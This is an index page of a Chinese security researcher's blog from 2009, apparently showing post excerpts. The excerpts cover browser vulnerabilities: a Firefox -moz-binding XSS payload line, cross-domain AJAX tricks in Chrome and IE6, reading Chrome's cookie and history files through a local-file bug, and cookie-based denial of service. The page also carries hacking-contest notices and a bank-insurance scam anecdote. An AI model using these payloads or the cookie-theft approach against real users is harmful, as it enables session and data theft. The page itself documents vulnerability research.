Submitted by 空虚浪子心 on 2009, June 26, 3:56 PM
kxlzx：因为在http://hi.baidu.com/hi_heige/的留言被百度删除了，只好在这里发篇。
在http://www.80vul.com/qqmail/QQmail%20Multiple%20Xss%20Vulnerabilities.htm
看到，FF3对
<style>BODY{-moz-binding:url("http://www.80vul.coom/test.xml#xss")}</style>
url中的域，是有限制的。
如果配合一些web应用的功能，可以绕过这个限制。
» 阅读全文
Submitted by 空虚浪子心 on 2009, May 8, 11:31 AM
Chrome浏览器，在使用ajax的时候，通过url转发漏洞的配合，可以跨域提交数据（但是不能读取返回数据）。
IE6的某些版本（不知道是什么版本，在家里和某个网吧成功了），通过用户点“确定”后，也是可以跨域提交并接收数据的。
对于chrome这里，没办法读取目标域返回的数据，深感遗憾，所以发出来这篇文章，大家想想办法。
» 阅读全文
Submitted by 空虚浪子心 on 2009, April 22, 5:48 PM
本文纯属YY，最后未实践成功，但是不排除其他网站有类似可能。
很多网站都使用了google的统计。
当我们从一个网站（A）链接到带有google统计的网站（B）时，google会记录referer的URI，并存入B的COOKIE中。
如果我们可以影响referer，是不是就可以攻击任何带有google统计的网站呢？
» 阅读全文
Submitted by 空虚浪子心 on 2009, April 22, 10:38 AM
google的浏览器Chrome1.0.154.53（目前最新），存在ajax读取本地文件漏洞。
利用该漏洞可以读取本地文本文件，并提交出来。
而Chrome的cookie默认保存在“C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
读取这个文件，然后提交，前提是文件在本地打开，但是如何欺骗用户在本地打开呢？
» 阅读全文
Submitted by 空虚浪子心 on 2009, April 21, 3:33 PM
看了墨西哥同学（其实看不懂，刺帮忙翻译的）和刺的文章，不过我们主要关心该技术的利用。
sirdarckcat的文章 说，HTTP头的长度，在APACHE等web服务器是有一定的要求的，如果超出一定长度，会产生服务器错误。HTTP头里面，有cookie，有location，有host。。。如果我们可以控制其中一个（例如cookie），给用户植入大长度的cookie，就会出现用户访问该域下所有的请求，都带上大长度cookie，导致用户不管访问域名下的哪个文件，都会产生服务器错误，造成客户端无法访问。
本文讲这个东西具体的利用。
» 阅读全文
Submitted by 空虚浪子心 on 2009, March 10, 4:34 PM
by 空虚浪子心
PS:这次大赛就要完了，没有过关的朋友，可以看这个，或者到论坛看通关文档。
【IT168专稿】在整个游戏关卡中，所有用到的技术，都是比较基础的，只要有自己的思想，又懂得基本黑客技术，花点时间，很容易过关。整个设计思想是：要求过关者用自己的真实技术，不借助全自动工具，熟悉基本的web黑客攻击技术，肯动脑。关卡尽量切合实际，使用技术尽量不重复。在关卡开始之初，预计要拿host文件这东西，挡住一部分人，让哪些没耐心的，不愿意动脑的人，先去清醒下，过段时间再来玩。
» 阅读全文
Submitted by 空虚浪子心 on 2009, March 3, 5:53 PM
Submitted by 空虚浪子心 on 2009, March 2, 5:11 PM
Submitted by 空虚浪子心 on 2009, February 20, 1:22 PM
上班呢，突然来了电话，一个MM喋喋不休说了N长时间，终于烦了。
招商银行推销保险的。大家别上当了，这玩意只要录音同意就会扣钱的。。。
一直说说说。。。说到“只需要小小的一点零花钱”就明白了。。。NND。
后来搜索下 招商银行 保险，出来了篇文章，原来是早在N久就开始有人上当了。
还好我防御意识较强。。。及时打断。
网上的文章转载如下，有兴趣看看。
» 阅读全文
Submitted by 空虚浪子心 on 2009, February 3, 11:31 AM
《网络安全技术大赛（08年圣诞新年版）》
大奖获得说明：
------------------------------------
大奖：（一名）
第一个做完过关动画的。
奖品：2G U盘一个 正版WPS2007一套
动画要求给出文档，说出每一个细节难点。
如果有难点在动画中一带而过的，比如”凭偶多年经验，灵光一闪，认为下一关地址是XXX”不算过关。
动画上传时请将阅读权限设为：255。
如果动画过大，分开压缩包上传或者联系僵尸道长。
------------------------------------
根据过关规则，7jdg的游戏文档和动画目前已经通过审核！
» 阅读全文
| « 2009年07月 » | ||||||
| 日 | 一 | 二 | 三 | 四 | 五 | 六 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | |||
| 5 | 6 | 7 | 8 | 9 | 10 | 11 |
| 12 | 13 | 14 | 15 | 16 | 17 | 18 |
| 19 | 20 | 21 | 22 | 23 | 24 | 25 |
| 26 | 27 | 28 | 29 | 30 | 31 | |